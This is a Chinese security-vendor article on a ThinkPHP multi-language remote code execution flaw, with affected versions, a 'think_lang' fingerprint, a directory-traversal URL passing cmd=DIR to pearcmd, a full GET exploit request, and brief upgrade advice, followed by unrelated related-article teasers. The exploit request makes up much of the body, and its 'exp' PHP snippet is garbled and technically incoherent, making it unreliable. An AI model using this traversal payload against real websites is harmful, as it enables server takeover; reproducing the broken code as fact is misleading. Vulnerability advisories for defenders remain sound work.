Thinkphp-v6漏洞如何修复

简介: ThinkPHP可以说是快捷、简易的面向对象编程的一个微服务架构,PHP前端框架开发,创建于2006年,遵照Apache2的开源协议进行对外开放,目的是为了快速WEB应用程序开发和优化企业应用软件开发而发展起来的。假如Thinkphp代码开启了多语言这个功能,hack就能通过POST、GET、COOKIES等方式将恶意参数插入进去发送到服务器中进行执行恶意代码,并目录穿越+文件包含,利用pearcmd文件含有这个trick就可以实现RCE远程代码执行漏洞。

Thinkphp漏洞复现

ThinkPHP可以说是快捷、简易的面向对象编程的一个微服务架构,PHP前端框架开发,创建于2006年,遵照Apache2的开源协议进行对外开放,目的是为了快速WEB应用程序开发和优化企业应用软件开发而发展起来的。假如Thinkphp代码开启了多语言这个功能,hack就能通过POST、GET、COOKIES等方式将恶意参数插入进去发送到服务器中进行执行恶意代码,并目录穿越+文件包含,利用pearcmd文件含有这个trick就可以实现RCE远程代码执行漏洞。

使用thinkphp并开启多语言的网站漏洞指纹如下:

header="think_lang"

漏洞影响版本范围

v6.0.0<=ThinkPHP<=v6.0.13

v5.0.0<=ThinkPHP<=5.0.12

v5.1.0<=ThinkPHP<=5.1.8

漏洞利用详情

#exp

pearcmd文件含有方法

$cmd=$_GET['cmd'];

$p=pearcmd;

$p->run($cmd);

目录穿越

//192.168.0.188:9999/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=DIR

能通过POST、cookies、GET等传参的方式,进行目录穿越和文件包含漏洞的利用,对thinkphp下的pearcmd文件进行远程代码命令执行,

HACK可以利用构造恶意的的URL,可以实现目录穿越和文件包含,然后利用pearcmd文件含有对其服务器进行远程命令执行。

这个漏洞利用的前提,必须要thinkphp开启多语言这一功能,像一些外贸公司网站,一些企业网站,想使用多语言的网站都是可以利用该漏洞进行远程代码执行漏洞的。

具体的GET漏洞利用数据包如下:

GET/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=DIR

Host:192.168.0.188:9999

User-Agent:Mozilla/5.0(WindowsNT10.0;Win32;x32;rv:79.0)Gecko/20100302Firefox/79.0

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language:zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.6,en-US;q=0.4,en;q=0.1

Accept-Encoding:gzip,deflate

Connection:close

Upgrade-Insecure-Requests:1

Cache-Control:max-age=0

如何对该thinkphp漏洞进行修复?

我们SINE安全建议广大站长以及网站运营者,尽快的升级thinkphp到最高版本,目前Thinkphp官方在最新版本中修复了这个漏洞,也可以对该pearcmd文件进行强制删除,待代码漏洞修复后,还原该pearcmd文件,也可以找专业的网站安全公司进行代码漏洞修复和整体的网站安全加固。

相关文章
|
移动开发 安全 前端开发
分享97个社区论坛PHP源码,总有一款适合你
分享97个社区论坛PHP源码,总有一款适合你
2288 0
|
PHP 调度 数据安全/隐私保护
【源码解读】TP5读取本地图片输出后,设置header头无效,图片乱码
在Thinkphp程序中读取本地图片,做出加工处理(如合并二维码等水印),然后输出给客户端,一直输出图片内容乱码。 设置了header image/png 不生效。 写下这篇TP源码排查文章,看看问题到底出现在哪个步骤。
704 0
【源码解读】TP5读取本地图片输出后,设置header头无效,图片乱码
|
9月前
|
前端开发 JavaScript C++
Marp 教程:实现幻灯片的交互性
Marp 是一个基于 Markdown 的幻灯片制作工具,结合 VSCode 的强大编辑功能,可以让你的 PPT 制作过程更加高效和专业。本教程详细介绍了如何在 Marp 中嵌入 HTML 和 JavaScript,实现幻灯片的交互性,包括基本的按钮点击、动态内容、表单交互、幻灯片导航、动画效果和交互式图表等。通过这些技巧,你可以制作出更加生动、互动性强的演示文稿。
333 0
|
12月前
|
算法
基于GA遗传优化的TSP问题最优路线规划matlab仿真
本项目使用遗传算法(GA)解决旅行商问题(TSP),目标是在访问一系列城市后返回起点的最短路径。TSP属于NP-难问题,启发式方法尤其GA在此类问题上表现出色。项目在MATLAB 2022a中实现,通过编码、初始化种群、适应度评估、选择、交叉与变异等步骤,最终展示适应度收敛曲线及最优路径。
492 29
|
存储 缓存 NoSQL
redis缓存优化
采用获取一次缓存,如果为空的情况,获取分布式锁,让一个线程去重建缓存,另外的线程未获取到锁的情况,休眠短时间,然后再自旋获取缓存。
165 0
|
安全 测试技术 Linux
浅谈黑客赚钱黑产
浅谈黑客赚钱黑产
|
JavaScript 前端开发
js怎么删除html元素
js怎么删除html元素
358 10
|
存储 测试技术 API
Pandas 2.2 中文官方教程和指南(十·一)(4)
Pandas 2.2 中文官方教程和指南(十·一)
542 2
|
机器学习/深度学习 数据采集 算法
利用机器学习优化数据中心的能耗管理
在数据中心管理和运营领域,能耗优化是提高经济效益和环境可持续性的关键。本文提出了一种基于机器学习的方法来优化数据中心的能源消耗,通过实时监控与智能调节系统参数以降低总体能耗。研究采用多种算法对比分析,包括监督式学习、非监督式学习以及强化学习,并在此基础上设计出一套综合策略。该策略不仅提升了能效比(PUE),还保证了系统的高可靠性和性能稳定性。文章的结构首先介绍数据中心能耗管理的重要性,然后详细阐述所提出的机器学习模型及其实现过程,最后通过实验结果验证了方法的有效性。